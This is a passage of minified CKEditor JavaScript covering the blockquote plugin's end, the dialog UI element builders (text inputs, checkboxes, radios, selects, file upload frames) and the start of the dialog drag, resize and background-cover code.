for(d={};a=f.getNextParagraph();){for(e=c=null;a.getParent();){if("blockquote"==a.getParent().getName()){c=a.getParent();e=a;break}a=a.getParent()}c&&(e&&!e.getCustomData("blockquote_moveout"))&&(b.push(e),CKEDITOR.dom.element.setMarker(d,e,"blockquote_moveout",!0))}CKEDITOR.dom.element.clearAllMarkers(d);a=[];e=[];for(d={};0<b.length;)f=b.shift(),c=f.getParent(),f.getPrevious()?f.getNext()?(f.breakParent(f.getParent()),e.push(f.getNext())):f.remove().insertAfter(c):f.remove().insertBefore(c),c.getCustomData("blockquote_processed")||
(e.push(c),CKEDITOR.dom.element.setMarker(d,c,"blockquote_processed",!0)),a.push(f);CKEDITOR.dom.element.clearAllMarkers(d);for(b=e.length-1;0<=b;b--){c=e[b];a:{d=c;for(var f=0,k=d.getChildCount(),j=void 0;f<k&&(j=d.getChild(f));f++)if(j.type==CKEDITOR.NODE_ELEMENT&&j.isBlockBoundary()){d=!1;break a}d=!0}d&&c.remove()}if(g.config.enterMode==CKEDITOR.ENTER_BR)for(c=!0;a.length;)if(f=a.shift(),"div"==f.getName()){b=new CKEDITOR.dom.documentFragment(g.document);c&&(f.getPrevious()&&!(f.getPrevious().type==
CKEDITOR.NODE_ELEMENT&&f.getPrevious().isBlockBoundary()))&&b.append(g.document.createElement("br"));for(c=f.getNext()&&!(f.getNext().type==CKEDITOR.NODE_ELEMENT&&f.getNext().isBlockBoundary());f.getFirst();)f.getFirst().remove().appendTo(b);c&&b.append(g.document.createElement("br"));b.replace(f);c=!1}}i.selectBookmarks(h);g.focus()}},refresh:function(g,a){this.setState(g.elementPath(a.block||a.blockLimit).contains("blockquote",1)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)},context:"blockquote",
allowedContent:"blockquote",requiredContent:"blockquote"};CKEDITOR.plugins.add("blockquote",{init:function(g){g.blockless||(g.addCommand("blockquote",k),g.ui.addButton&&g.ui.addButton("Blockquote",{label:g.lang.blockquote.toolbar,command:"blockquote",toolbar:"blocks,10"}))}})})();CKEDITOR.plugins.add("dialogui",{onLoad:function(){var h=function(b){this._||(this._={});this._["default"]=this._.initValue=b["default"]||"";this._.required=b.required||!1;for(var a=[this._],d=1;d<arguments.length;d++)a.push(arguments[d]);a.push(!0);CKEDITOR.tools.extend.apply(CKEDITOR.tools,a);return this._},r={build:function(b,a,d){return new CKEDITOR.ui.dialog.textInput(b,a,d)}},l={build:function(b,a,d){return new CKEDITOR.ui.dialog[a.type](b,a,d)}},n={isChanged:function(){return this.getValue()!=
this.getInitValue()},reset:function(b){this.setValue(this.getInitValue(),b)},setInitValue:function(){this._.initValue=this.getValue()},resetInitValue:function(){this._.initValue=this._["default"]},getInitValue:function(){return this._.initValue}},o=CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onChange:function(b,a){this._.domOnChangeRegistered||(b.on("load",function(){this.getInputElement().on("change",function(){b.parts.dialog.isVisible()&&this.fire("change",{value:this.getValue()})},
this)},this),this._.domOnChangeRegistered=!0);this.on("change",a)}},!0),s=/^on([A-Z]\w+)/,p=function(b){for(var a in b)(s.test(a)||"title"==a||"type"==a)&&delete b[a];return b};CKEDITOR.tools.extend(CKEDITOR.ui.dialog,{labeledElement:function(b,a,d,f){if(!(4>arguments.length)){var c=h.call(this,a);c.labelId=CKEDITOR.tools.getNextId()+"_label";this._.children=[];var e={role:a.role||"presentation"};a.includeLabel&&(e["aria-labelledby"]=c.labelId);CKEDITOR.ui.dialog.uiElement.call(this,b,a,d,"div",null,
e,function(){var e=[],g=a.required?" cke_required":"";if(a.labelLayout!="horizontal")e.push('<label class="cke_dialog_ui_labeled_label'+g+'" ',' id="'+c.labelId+'"',c.inputId?' for="'+c.inputId+'"':"",(a.labelStyle?' style="'+a.labelStyle+'"':"")+">",a.label,"</label>",'<div class="cke_dialog_ui_labeled_content"',a.controlStyle?' style="'+a.controlStyle+'"':"",' role="presentation">',f.call(this,b,a),"</div>");else{g={type:"hbox",widths:a.widths,padding:0,children:[{type:"html",html:'<label class="cke_dialog_ui_labeled_label'+
g+'" id="'+c.labelId+'" for="'+c.inputId+'"'+(a.labelStyle?' style="'+a.labelStyle+'"':"")+">"+CKEDITOR.tools.htmlEncode(a.label)+"</span>"},{type:"html",html:'<span class="cke_dialog_ui_labeled_content"'+(a.controlStyle?' style="'+a.controlStyle+'"':"")+">"+f.call(this,b,a)+"</span>"}]};CKEDITOR.dialog._.uiElementBuilders.hbox.build(b,g,e)}return e.join("")})}},textInput:function(b,a,d){if(!(3>arguments.length)){h.call(this,a);var f=this._.inputId=CKEDITOR.tools.getNextId()+"_textInput",c={"class":"cke_dialog_ui_input_"+
a.type,id:f,type:a.type};a.validate&&(this.validate=a.validate);a.maxLength&&(c.maxlength=a.maxLength);a.size&&(c.size=a.size);a.inputStyle&&(c.style=a.inputStyle);var e=this,k=!1;b.on("load",function(){e.getInputElement().on("keydown",function(a){a.data.getKeystroke()==13&&(k=true)});e.getInputElement().on("keyup",function(a){if(a.data.getKeystroke()==13&&k){b.getButton("ok")&&setTimeout(function(){b.getButton("ok").click()},0);k=false}},null,null,1E3)});CKEDITOR.ui.dialog.labeledElement.call(this,
b,a,d,function(){var b=['<div class="cke_dialog_ui_input_',a.type,'" role="presentation"'];a.width&&b.push('style="width:'+a.width+'" ');b.push("><input ");c["aria-labelledby"]=this._.labelId;this._.required&&(c["aria-required"]=this._.required);for(var e in c)b.push(e+'="'+c[e]+'" ');b.push(" /></div>");return b.join("")})}},textarea:function(b,a,d){if(!(3>arguments.length)){h.call(this,a);var f=this,c=this._.inputId=CKEDITOR.tools.getNextId()+"_textarea",e={};a.validate&&(this.validate=a.validate);
e.rows=a.rows||5;e.cols=a.cols||20;e["class"]="cke_dialog_ui_input_textarea "+(a["class"]||"");"undefined"!=typeof a.inputStyle&&(e.style=a.inputStyle);a.dir&&(e.dir=a.dir);CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){e["aria-labelledby"]=this._.labelId;this._.required&&(e["aria-required"]=this._.required);var a=['<div class="cke_dialog_ui_input_textarea" role="presentation"><textarea id="',c,'" '],b;for(b in e)a.push(b+'="'+CKEDITOR.tools.htmlEncode(e[b])+'" ');a.push(">",CKEDITOR.tools.htmlEncode(f._["default"]),
"</textarea></div>");return a.join("")})}},checkbox:function(b,a,d){if(!(3>arguments.length)){var f=h.call(this,a,{"default":!!a["default"]});a.validate&&(this.validate=a.validate);CKEDITOR.ui.dialog.uiElement.call(this,b,a,d,"span",null,null,function(){var c=CKEDITOR.tools.extend({},a,{id:a.id?a.id+"_checkbox":CKEDITOR.tools.getNextId()+"_checkbox"},true),e=[],d=CKEDITOR.tools.getNextId()+"_label",g={"class":"cke_dialog_ui_checkbox_input",type:"checkbox","aria-labelledby":d};p(c);if(a["default"])g.checked=
"checked";if(typeof c.inputStyle!="undefined")c.style=c.inputStyle;f.checkbox=new CKEDITOR.ui.dialog.uiElement(b,c,e,"input",null,g);e.push(' <label id="',d,'" for="',g.id,'"'+(a.labelStyle?' style="'+a.labelStyle+'"':"")+">",CKEDITOR.tools.htmlEncode(a.label),"</label>");return e.join("")})}},radio:function(b,a,d){if(!(3>arguments.length)){h.call(this,a);this._["default"]||(this._["default"]=this._.initValue=a.items[0][1]);a.validate&&(this.validate=a.valdiate);var f=[],c=this;a.role="radiogroup";
a.includeLabel=!0;CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){for(var e=[],d=[],g=(a.id?a.id:CKEDITOR.tools.getNextId())+"_radio",i=0;i<a.items.length;i++){var j=a.items[i],h=j[2]!==void 0?j[2]:j[0],l=j[1]!==void 0?j[1]:j[0],m=CKEDITOR.tools.getNextId()+"_radio_input",n=m+"_label",m=CKEDITOR.tools.extend({},a,{id:m,title:null,type:null},true),h=CKEDITOR.tools.extend({},m,{title:h},true),o={type:"radio","class":"cke_dialog_ui_radio_input",name:g,value:l,"aria-labelledby":n},q=[];if(c._["default"]==
l)o.checked="checked";p(m);p(h);if(typeof m.inputStyle!="undefined")m.style=m.inputStyle;m.keyboardFocusable=true;f.push(new CKEDITOR.ui.dialog.uiElement(b,m,q,"input",null,o));q.push(" ");new CKEDITOR.ui.dialog.uiElement(b,h,q,"label",null,{id:n,"for":o.id},j[0]);e.push(q.join(""))}new CKEDITOR.ui.dialog.hbox(b,f,e,d);return d.join("")});this._.children=f}},button:function(b,a,d){if(arguments.length){"function"==typeof a&&(a=a(b.getParentEditor()));h.call(this,a,{disabled:a.disabled||!1});CKEDITOR.event.implementOn(this);
var f=this;b.on("load",function(){var a=this.getElement();(function(){a.on("click",function(a){f.click();a.data.preventDefault()});a.on("keydown",function(a){a.data.getKeystroke()in{32:1}&&(f.click(),a.data.preventDefault())})})();a.unselectable()},this);var c=CKEDITOR.tools.extend({},a);delete c.style;var e=CKEDITOR.tools.getNextId()+"_label";CKEDITOR.ui.dialog.uiElement.call(this,b,c,d,"a",null,{style:a.style,href:"javascript:void(0)",title:a.label,hidefocus:"true","class":a["class"],role:"button",
"aria-labelledby":e},'<span id="'+e+'" class="cke_dialog_ui_button">'+CKEDITOR.tools.htmlEncode(a.label)+"</span>")}},select:function(b,a,d){if(!(3>arguments.length)){var f=h.call(this,a);a.validate&&(this.validate=a.validate);f.inputId=CKEDITOR.tools.getNextId()+"_select";CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){var c=CKEDITOR.tools.extend({},a,{id:a.id?a.id+"_select":CKEDITOR.tools.getNextId()+"_select"},true),e=[],d=[],g={id:f.inputId,"class":"cke_dialog_ui_input_select","aria-labelledby":this._.labelId};
e.push('<div class="cke_dialog_ui_input_',a.type,'" role="presentation"');a.width&&e.push('style="width:'+a.width+'" ');e.push(">");if(a.size!==void 0)g.size=a.size;if(a.multiple!==void 0)g.multiple=a.multiple;p(c);for(var i=0,j;i<a.items.length&&(j=a.items[i]);i++)d.push('<option value="',CKEDITOR.tools.htmlEncode(j[1]!==void 0?j[1]:j[0]).replace(/"/g,"&quot;"),'" /> ',CKEDITOR.tools.htmlEncode(j[0]));if(typeof c.inputStyle!="undefined")c.style=c.inputStyle;f.select=new CKEDITOR.ui.dialog.uiElement(b,
c,e,"select",null,g,d.join(""));e.push("</div>");return e.join("")})}},file:function(b,a,d){if(!(3>arguments.length)){void 0===a["default"]&&(a["default"]="");var f=CKEDITOR.tools.extend(h.call(this,a),{definition:a,buttons:[]});a.validate&&(this.validate=a.validate);b.on("load",function(){CKEDITOR.document.getById(f.frameId).getParent().addClass("cke_dialog_ui_input_file")});CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){f.frameId=CKEDITOR.tools.getNextId()+"_fileInput";var b=['<iframe frameborder="0" allowtransparency="0" class="cke_dialog_ui_input_file" role="presentation" id="',
f.frameId,'" title="',a.label,'" src="javascript:void('];b.push(CKEDITOR.env.ie?"(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"})()":"0");b.push(')"></iframe>');return b.join("")})}},fileButton:function(b,a,d){var f=this;if(!(3>arguments.length)){h.call(this,a);a.validate&&(this.validate=a.validate);var c=CKEDITOR.tools.extend({},a),e=c.onClick;c.className=(c.className?c.className+" ":"")+"cke_dialog_ui_button";c.onClick=function(c){var d=
a["for"];if(!e||e.call(this,c)!==false){b.getContentElement(d[0],d[1]).submit();this.disable()}};b.on("load",function(){b.getContentElement(a["for"][0],a["for"][1])._.buttons.push(f)});CKEDITOR.ui.dialog.button.call(this,b,c,d)}},html:function(){var b=/^\s*<[\w:]+\s+([^>]*)?>/,a=/^(\s*<[\w:]+(?:\s+[^>]*)?)((?:.|\r|\n)+)$/,d=/\/$/;return function(f,c,e){if(!(3>arguments.length)){var k=[],g=c.html;"<"!=g.charAt(0)&&(g="<span>"+g+"</span>");var i=c.focus;if(i){var j=this.focus;this.focus=function(){("function"==
typeof i?i:j).call(this);this.fire("focus")};c.isFocusable&&(this.isFocusable=this.isFocusable);this.keyboardFocusable=!0}CKEDITOR.ui.dialog.uiElement.call(this,f,c,k,"span",null,null,"");k=k.join("").match(b);g=g.match(a)||["","",""];d.test(g[1])&&(g[1]=g[1].slice(0,-1),g[2]="/"+g[2]);e.push([g[1]," ",k[1]||"",g[2]].join(""))}}}(),fieldset:function(b,a,d,f,c){var e=c.label;this._={children:a};CKEDITOR.ui.dialog.uiElement.call(this,b,c,f,"fieldset",null,null,function(){var a=[];e&&a.push("<legend"+
(c.labelStyle?' style="'+c.labelStyle+'"':"")+">"+e+"</legend>");for(var b=0;b<d.length;b++)a.push(d[b]);return a.join("")})}},!0);CKEDITOR.ui.dialog.html.prototype=new CKEDITOR.ui.dialog.uiElement;CKEDITOR.ui.dialog.labeledElement.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setLabel:function(b){var a=CKEDITOR.document.getById(this._.labelId);1>a.getChildCount()?(new CKEDITOR.dom.text(b,CKEDITOR.document)).appendTo(a):a.getChild(0).$.nodeValue=b;return this},getLabel:function(){var b=
CKEDITOR.document.getById(this._.labelId);return!b||1>b.getChildCount()?"":b.getChild(0).getText()},eventProcessors:o},!0);CKEDITOR.ui.dialog.button.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{click:function(){return!this._.disabled?this.fire("click",{dialog:this._.dialog}):!1},enable:function(){this._.disabled=!1;var b=this.getElement();b&&b.removeClass("cke_disabled")},disable:function(){this._.disabled=!0;this.getElement().addClass("cke_disabled")},isVisible:function(){return this.getElement().getFirst().isVisible()},
isEnabled:function(){return!this._.disabled},eventProcessors:CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onClick:function(b,a){this.on("click",function(){a.apply(this,arguments)})}},!0),accessKeyUp:function(){this.click()},accessKeyDown:function(){this.focus()},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.textInput.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return CKEDITOR.document.getById(this._.inputId)},
focus:function(){var b=this.selectParentTab();setTimeout(function(){var a=b.getInputElement();a&&a.$.focus()},0)},select:function(){var b=this.selectParentTab();setTimeout(function(){var a=b.getInputElement();a&&(a.$.focus(),a.$.select())},0)},accessKeyUp:function(){this.select()},setValue:function(b){!b&&(b="");return CKEDITOR.ui.dialog.uiElement.prototype.setValue.apply(this,arguments)},keyboardFocusable:!0},n,!0);CKEDITOR.ui.dialog.textarea.prototype=new CKEDITOR.ui.dialog.textInput;CKEDITOR.ui.dialog.select.prototype=
CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,{getInputElement:function(){return this._.select.getElement()},add:function(b,a,d){var f=new CKEDITOR.dom.element("option",this.getDialog().getParentEditor().document),c=this.getInputElement().$;f.$.text=b;f.$.value=void 0===a||null===a?b:a;void 0===d||null===d?CKEDITOR.env.ie?c.add(f.$):c.add(f.$,null):c.add(f.$,d);return this},remove:function(b){this.getInputElement().$.remove(b);return this},clear:function(){for(var b=this.getInputElement().$;0<
b.length;)b.remove(0);return this},keyboardFocusable:!0},n,!0);CKEDITOR.ui.dialog.checkbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getInputElement:function(){return this._.checkbox.getElement()},setValue:function(b,a){this.getInputElement().$.checked=b;!a&&this.fire("change",{value:b})},getValue:function(){return this.getInputElement().$.checked},accessKeyUp:function(){this.setValue(!this.getValue())},eventProcessors:{onChange:function(b,a){if(!CKEDITOR.env.ie||8<CKEDITOR.env.version)return o.onChange.apply(this,
arguments);b.on("load",function(){var a=this._.checkbox.getElement();a.on("propertychange",function(b){b=b.data.$;"checked"==b.propertyName&&this.fire("change",{value:a.$.checked})},this)},this);this.on("change",a);return null}},keyboardFocusable:!0},n,!0);CKEDITOR.ui.dialog.radio.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setValue:function(b,a){for(var d=this._.children,f,c=0;c<d.length&&(f=d[c]);c++)f.getElement().$.checked=f.getValue()==b;!a&&this.fire("change",{value:b})},
getValue:function(){for(var b=this._.children,a=0;a<b.length;a++)if(b[a].getElement().$.checked)return b[a].getValue();return null},accessKeyUp:function(){var b=this._.children,a;for(a=0;a<b.length;a++)if(b[a].getElement().$.checked){b[a].getElement().focus();return}b[0].getElement().focus()},eventProcessors:{onChange:function(b,a){if(CKEDITOR.env.ie)b.on("load",function(){for(var a=this._.children,b=this,c=0;c<a.length;c++)a[c].getElement().on("propertychange",function(a){a=a.data.$;"checked"==a.propertyName&&
this.$.checked&&b.fire("change",{value:this.getAttribute("value")})})},this),this.on("change",a);else return o.onChange.apply(this,arguments);return null}}},n,!0);CKEDITOR.ui.dialog.file.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,n,{getInputElement:function(){var b=CKEDITOR.document.getById(this._.frameId).getFrameDocument();return 0<b.$.forms.length?new CKEDITOR.dom.element(b.$.forms[0].elements[0]):this.getElement()},submit:function(){this.getInputElement().getParent().$.submit();
return this},getAction:function(){return this.getInputElement().getParent().$.action},registerEvents:function(b){var a=/^on([A-Z]\w+)/,d,f=function(a,b,c,d){a.on("formLoaded",function(){a.getInputElement().on(c,d,a)})},c;for(c in b)if(d=c.match(a))this.eventProcessors[c]?this.eventProcessors[c].call(this,this._.dialog,b[c]):f(this,this._.dialog,d[1].toLowerCase(),b[c]);return this},reset:function(){function b(){d.$.open();var b="";f.size&&(b=f.size-(CKEDITOR.env.ie?7:0));var h=a.frameId+"_input";
d.$.write(['<html dir="'+g+'" lang="'+i+'"><head><title></title></head><body style="margin: 0; overflow: hidden; background: transparent;">','<form enctype="multipart/form-data" method="POST" dir="'+g+'" lang="'+i+'" action="',CKEDITOR.tools.htmlEncode(f.action),'"><label id="',a.labelId,'" for="',h,'" style="display:none">',CKEDITOR.tools.htmlEncode(f.label),'</label><input style="width:100%" id="',h,'" aria-labelledby="',a.labelId,'" type="file" name="',CKEDITOR.tools.htmlEncode(f.id||"cke_upload"),
'" size="',CKEDITOR.tools.htmlEncode(0<b?b:""),'" /></form></body></html><script>',CKEDITOR.env.ie?"("+CKEDITOR.tools.fixDomain+")();":"","window.parent.CKEDITOR.tools.callFunction("+e+");","window.onbeforeunload = function() {window.parent.CKEDITOR.tools.callFunction("+k+")}","<\/script>"].join(""));d.$.close();for(b=0;b<c.length;b++)c[b].enable()}var a=this._,d=CKEDITOR.document.getById(a.frameId).getFrameDocument(),f=a.definition,c=a.buttons,e=this.formLoadedNumber,k=this.formUnloadNumber,g=a.dialog._.editor.lang.dir,
i=a.dialog._.editor.langCode;e||(e=this.formLoadedNumber=CKEDITOR.tools.addFunction(function(){this.fire("formLoaded")},this),k=this.formUnloadNumber=CKEDITOR.tools.addFunction(function(){this.getInputElement().clearCustomData()},this),this.getDialog()._.editor.on("destroy",function(){CKEDITOR.tools.removeFunction(e);CKEDITOR.tools.removeFunction(k)}));CKEDITOR.env.gecko?setTimeout(b,500):b()},getValue:function(){return this.getInputElement().$.value||""},setInitValue:function(){this._.initValue=
""},eventProcessors:{onChange:function(b,a){this._.domOnChangeRegistered||(this.on("formLoaded",function(){this.getInputElement().on("change",function(){this.fire("change",{value:this.getValue()})},this)},this),this._.domOnChangeRegistered=!0);this.on("change",a)}},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.fileButton.prototype=new CKEDITOR.ui.dialog.button;CKEDITOR.ui.dialog.fieldset.prototype=CKEDITOR.tools.clone(CKEDITOR.ui.dialog.hbox.prototype);CKEDITOR.dialog.addUIElement("text",r);CKEDITOR.dialog.addUIElement("password",
r);CKEDITOR.dialog.addUIElement("textarea",l);CKEDITOR.dialog.addUIElement("checkbox",l);CKEDITOR.dialog.addUIElement("radio",l);CKEDITOR.dialog.addUIElement("button",l);CKEDITOR.dialog.addUIElement("select",l);CKEDITOR.dialog.addUIElement("file",l);CKEDITOR.dialog.addUIElement("fileButton",l);CKEDITOR.dialog.addUIElement("html",l);CKEDITOR.dialog.addUIElement("fieldset",{build:function(b,a,d){for(var f=a.children,c,e=[],h=[],g=0;g<f.length&&(c=f[g]);g++){var i=[];e.push(i);h.push(CKEDITOR.dialog._.uiElementBuilders[c.type].build(b,
c,i))}return new CKEDITOR.ui.dialog[a.type](b,h,e,d,a)}})}});CKEDITOR.DIALOG_RESIZE_NONE=0;CKEDITOR.DIALOG_RESIZE_WIDTH=1;CKEDITOR.DIALOG_RESIZE_HEIGHT=2;CKEDITOR.DIALOG_RESIZE_BOTH=3;
(function(){function t(){for(var a=this._.tabIdList.length,b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId)+a,c=b-1;c>b-a;c--)if(this._.tabs[this._.tabIdList[c%a]][0].$.offsetHeight)return this._.tabIdList[c%a];return null}function u(){for(var a=this._.tabIdList.length,b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId),c=b+1;c<b+a;c++)if(this._.tabs[this._.tabIdList[c%a]][0].$.offsetHeight)return this._.tabIdList[c%a];return null}function G(a,b){for(var c=a.$.getElementsByTagName("input"),
e=0,d=c.length;e<d;e++){var g=new CKEDITOR.dom.element(c[e]);"text"==g.getAttribute("type").toLowerCase()&&(b?(g.setAttribute("value",g.getCustomData("fake_value")||""),g.removeCustomData("fake_value")):(g.setCustomData("fake_value",g.getAttribute("value")),g.setAttribute("value","")))}}function P(a,b){var c=this.getInputElement();c&&(a?c.removeAttribute("aria-invalid"):c.setAttribute("aria-invalid",!0));a||(this.select?this.select():this.focus());b&&alert(b);this.fire("validated",{valid:a,msg:b})}
function Q(){var a=this.getInputElement();a&&a.removeAttribute("aria-invalid")}function R(a){var a=CKEDITOR.dom.element.createFromHtml(CKEDITOR.addTemplate("dialog",S).output({id:CKEDITOR.tools.getNextNumber(),editorId:a.id,langDir:a.lang.dir,langCode:a.langCode,editorDialogClass:"cke_editor_"+a.name.replace(/\./g,"\\.")+"_dialog",closeTitle:a.lang.common.close,hidpi:CKEDITOR.env.hidpi?"cke_hidpi":""})),b=a.getChild([0,0,0,0,0]),c=b.getChild(0),e=b.getChild(1);if(CKEDITOR.env.ie&&!CKEDITOR.env.quirks){var d=
"javascript:void(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"}())";CKEDITOR.dom.element.createFromHtml('<iframe frameBorder="0" class="cke_iframe_shim" src="'+d+'" tabIndex="-1"></iframe>').appendTo(b.getParent())}c.unselectable();e.unselectable();return{element:a,parts:{dialog:a.getChild(0),title:c,close:e,tabs:b.getChild(2),contents:b.getChild([3,0,0,0]),footer:b.getChild([3,0,1,0])}}}function H(a,b,c){this.element=b;this.focusIndex=c;this.tabIndex=
0;this.isFocusable=function(){return!b.getAttribute("disabled")&&b.isVisible()};this.focus=function(){a._.currentFocusIndex=this.focusIndex;this.element.focus()};b.on("keydown",function(a){a.data.getKeystroke()in{32:1,13:1}&&this.fire("click")});b.on("focus",function(){this.fire("mouseover")});b.on("blur",function(){this.fire("mouseout")})}function T(a){function b(){a.layout()}var c=CKEDITOR.document.getWindow();c.on("resize",b);a.on("hide",function(){c.removeListener("resize",b)})}function I(a,b){this._=
{dialog:a};CKEDITOR.tools.extend(this,b)}function U(a){function b(b){var c=a.getSize(),i=CKEDITOR.document.getWindow().getViewPaneSize(),o=b.data.$.screenX,j=b.data.$.screenY,n=o-e.x,l=j-e.y;e={x:o,y:j};d.x+=n;d.y+=l;a.move(d.x+h[3]<f?-h[3]:d.x-h[1]>i.width-c.width-f?i.width-c.width+("rtl"==g.lang.dir?0:h[1]):d.x,d.y+h[0]<f?-h[0]:d.y-h[2]>i.height-c.height-f?i.height-c.height+h[2]:d.y,1);b.data.preventDefault()}function c(){CKEDITOR.document.removeListener("mousemove",b);CKEDITOR.document.removeListener("mouseup",
c);if(CKEDITOR.env.ie6Compat){var a=q.getChild(0).getFrameDocument();a.removeListener("mousemove",b);a.removeListener("mouseup",c)}}var e=null,d=null,g=a.getParentEditor(),f=g.config.dialog_magnetDistance,h=CKEDITOR.skin.margins||[0,0,0,0];"undefined"==typeof f&&(f=20);a.parts.title.on("mousedown",function(f){e={x:f.data.$.screenX,y:f.data.$.screenY};CKEDITOR.document.on("mousemove",b);CKEDITOR.document.on("mouseup",c);d=a.getPosition();if(CKEDITOR.env.ie6Compat){var h=q.getChild(0).getFrameDocument();
h.on("mousemove",b);h.on("mouseup",c)}f.data.preventDefault()},a)}function V(a){var b,c;function e(d){var e="rtl"==h.lang.dir,j=o.width,C=o.height,D=j+(d.data.$.screenX-b)*(e?-1:1)*(a._.moved?1:2),n=C+(d.data.$.screenY-c)*(a._.moved?1:2),x=a._.element.getFirst(),x=e&&x.getComputedStyle("right"),y=a.getPosition();y.y+n>i.height&&(n=i.height-y.y);if((e?x:y.x)+D>i.width)D=i.width-(e?x:y.x);if(f==CKEDITOR.DIALOG_RESIZE_WIDTH||f==CKEDITOR.DIALOG_RESIZE_BOTH)j=Math.max(g.minWidth||0,D-m);if(f==CKEDITOR.DIALOG_RESIZE_HEIGHT||
f==CKEDITOR.DIALOG_RESIZE_BOTH)C=Math.max(g.minHeight||0,n-k);a.resize(j,C);a._.moved||a.layout();d.data.preventDefault()}function d(){CKEDITOR.document.removeListener("mouseup",d);CKEDITOR.document.removeListener("mousemove",e);j&&(j.remove(),j=null);if(CKEDITOR.env.ie6Compat){var a=q.getChild(0).getFrameDocument();a.removeListener("mouseup",d);a.removeListener("mousemove",e)}}var g=a.definition,f=g.resizable;if(f!=CKEDITOR.DIALOG_RESIZE_NONE){var h=a.getParentEditor(),m,k,i,o,j,n=CKEDITOR.tools.addFunction(function(f){o=
a.getSize();var h=a.parts.contents;h.$.getElementsByTagName("iframe").length&&(j=CKEDITOR.dom.element.createFromHtml('<div class="cke_dialog_resize_cover" style="height: 100%; position: absolute; width: 100%;"></div>'),h.append(j));k=o.height-a.parts.contents.getSize("height",!(CKEDITOR.env.gecko||CKEDITOR.env.ie&&CKEDITOR.env.quirks));m=o.width-a.parts.contents.getSize("width",1);b=f.screenX;c=f.screenY;i=CKEDITOR.document.getWindow().getViewPaneSize();CKEDITOR.document.on("mousemove",e);CKEDITOR.document.on("mouseup",
d);CKEDITOR.env.ie6Compat&&(h=q.getChild(0).getFrameDocument(),h.on("mousemove",e),h.on("mouseup",d));f.preventDefault&&f.preventDefault()});a.on("load",function(){var b="";f==CKEDITOR.DIALOG_RESIZE_WIDTH?b=" cke_resizer_horizontal":f==CKEDITOR.DIALOG_RESIZE_HEIGHT&&(b=" cke_resizer_vertical");b=CKEDITOR.dom.element.createFromHtml('<div class="cke_resizer'+b+" cke_resizer_"+h.lang.dir+'" title="'+CKEDITOR.tools.htmlEncode(h.lang.common.resize)+'" onmousedown="CKEDITOR.tools.callFunction('+n+', event )">'+
("ltr"==h.lang.dir?"◢":"◣")+"</div>");a.parts.footer.append(b,1)});h.on("destroy",function(){CKEDITOR.tools.removeFunction(n)})}}function E(a){a.data.preventDefault(1)}function J(a){var b=CKEDITOR.document.getWindow(),c=a.config,e=c.dialog_backgroundCoverColor||"white",d=c.dialog_backgroundCoverOpacity,g=c.baseFloatZIndex,c=CKEDITOR.tools.genKey(e,d,g),f=w[c];f?f.show():(g=['<div tabIndex="-1" style="position: ',CKEDITOR.env.ie6Compat?"absolute":"fixed","; z-index: ",g,"; top: 0px; left: 0px; ",!CKEDITOR.env.ie6Compat?
"background-color: "+e:"",'" class="cke_dialog_background_cover">'],CKEDITOR.env.ie6Compat&&(e="<html><body style=\\'background-color:"+e+";\\'></body></html>",g.push('<iframe hidefocus="true" frameborder="0" id="cke_dialog_background_iframe" src="javascript:'),g.push("void((function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.write( '"+e+"' );document.close();")+"})())"),g.push('" style="position:absolute;left:0;top:0;width:100%;height: 100%;filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0)"></iframe>')),
g.push("</div>"),f=CKEDITOR.dom.element.createFromHtml(g.join("")),f.setOpacity(void 0!==d?d:0.5),f.on("keydown",E),f.on("keypress",E),f.on("keyup",E),f.appendTo(CKEDITOR.document.getBody()),w[c]=f);a.focusManager.add(f);q=f;var a=function(){var a=b.getViewPaneSize();f.setStyles({width:a.width+"px",height:a.height+"px"})},h=function(){var a=b.getScrollPosition(),c=CKEDITOR.dialog._.currentTop;f.setStyles({left:a.x+"px",top:a.y+"px"});if(c){do{a=c.getPosition();c.move(a.x,a.y)}while(c=c._.parentDialog)
}};F=a;b.on("resize",a);a();(!CKEDITOR.env.mac||!CKEDITOR.env.webkit)&&f.focus();if(CKEDITOR.env.ie6Compat){var m=function(){h();arguments.callee.prevScrollHandler.apply(this,arguments)};b.$.setTimeout(function(){m.prevScrollHandler=window.onscroll||function(){};window.onscroll=m},0);h()}}function K(a){q&&(a.focusManager.remove(q),a=CKEDITOR.document.getWindow(),q.hide(),a.removeListener("resize",F),CKEDITOR.env.ie6Compat&&a.$.setTimeout(function(){window.onscroll=window.onscroll&&window.onscroll.prevScrollHandler||
